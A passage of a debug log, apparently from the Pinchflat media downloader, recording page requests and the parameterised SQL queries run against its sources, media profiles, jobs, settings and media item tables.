s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 07:22:14.309 [debug] QUERY OK source="media_profiles" db=0.4ms idle=501.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:22:14.310 [debug] QUERY OK source="tasks" db=0.4ms idle=501.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [33, "executing", "available", "scheduled", "retryable"] 07:22:14.311 [debug] QUERY OK source="oban_jobs" db=0.4ms queue=0.1ms idle=502.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7274] 07:22:14.312 [debug] QUERY OK source="settings" db=0.0ms idle=36.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:14.312 [debug] QUERY OK source="settings" db=0.0ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:14.313 [debug] QUERY OK source="settings" db=0.0ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:14.314 [debug] QUERY OK source="sources" db=0.1ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 07:22:14.315 [debug] QUERY OK source="media_items" db=0.4ms idle=2.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 07:22:14.315 [debug] QUERY OK source="media_items" db=0.7ms idle=2.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [33, 10, 0] 07:22:14.316 [debug] QUERY OK source="sources" db=0.1ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 07:22:14.316 [debug] QUERY OK source="media_items" db=0.1ms idle=3.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [33] 07:22:14.317 [debug] QUERY OK source="media_items" db=0.3ms idle=2.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [33, 10, 0] 07:22:14.318 [debug] QUERY OK source="sources" db=0.1ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 07:22:14.318 [debug] QUERY OK source="media_items" db=0.4ms idle=2.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [33] 07:22:14.319 [debug] QUERY OK source="media_items" db=0.7ms idle=2.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [33, 10, 0] 07:22:14.320 [info] Sent 200 in 13ms 07:22:14.806 [info] GET /sources/32 07:22:14.807 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "32"} Pipelines: [:browser] 07:22:14.808 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=491.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 07:22:14.809 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=491.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:22:14.811 [debug] QUERY OK source="tasks" db=0.5ms queue=0.1ms idle=492.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [32, "executing", "available", "scheduled", "retryable"] 07:22:14.811 [debug] QUERY OK source="oban_jobs" db=0.1ms queue=0.1ms idle=492.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7276] 07:22:14.811 [debug] QUERY OK source="settings" db=0.0ms idle=492.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:14.812 [debug] QUERY OK source="settings" db=0.0ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:14.812 [debug] QUERY OK source="settings" db=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:14.813 [debug] QUERY OK source="sources" db=0.1ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 07:22:14.814 [debug] QUERY OK source="media_items" db=0.2ms idle=2.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 07:22:14.815 [debug] QUERY OK source="media_items" db=0.5ms idle=2.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 07:22:14.815 [debug] QUERY OK source="sources" db=0.1ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 07:22:14.815 [debug] QUERY OK source="media_items" db=0.1ms idle=2.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [32] 07:22:14.816 [debug] QUERY OK source="media_items" db=0.2ms idle=1.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 07:22:14.816 [debug] QUERY OK source="sources" db=0.1ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 07:22:14.817 [debug] QUERY OK source="media_items" db=0.3ms idle=1.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [32] 07:22:14.817 [debug] QUERY OK source="media_items" db=0.4ms idle=1.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 07:22:14.818 [info] Sent 200 in 11ms 07:22:31.876 [info] GET /sources/30/edit 07:22:31.877 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "30"} Pipelines: [:browser] 07:22:31.878 [debug] QUERY OK source="sources" db=0.5ms idle=1626.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 07:22:31.879 [debug] QUERY OK source="media_profiles" db=0.9ms idle=1627.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 07:22:31.880 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1629.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:31.881 [debug] QUERY OK source="settings" db=0.2ms idle=1567.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:31.882 [debug] QUERY OK source="settings" db=0.1ms idle=565.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:31.884 [info] Sent 200 in 7ms 07:22:32.124 [info] GET /sources/35/edit 07:22:32.124 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "35"} Pipelines: [:browser] 07:22:32.125 [debug] QUERY OK source="sources" db=0.5ms idle=247.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 07:22:32.126 [debug] QUERY OK source="media_profiles" db=0.4ms idle=246.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 07:22:32.127 [debug] QUERY OK source="settings" db=0.3ms idle=246.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:32.128 [debug] QUERY OK source="settings" db=0.3ms idle=246.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:32.129 [debug] QUERY OK source="settings" db=0.1ms idle=246.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:32.132 [info] Sent 200 in 8ms 07:22:32.624 [info] GET /sources/33/edit 07:22:32.624 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "33"} Pipelines: [:browser] 07:22:32.625 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=498.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 07:22:32.627 [debug] QUERY OK source="media_profiles" db=0.5ms idle=498.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 07:22:32.628 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=499.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" 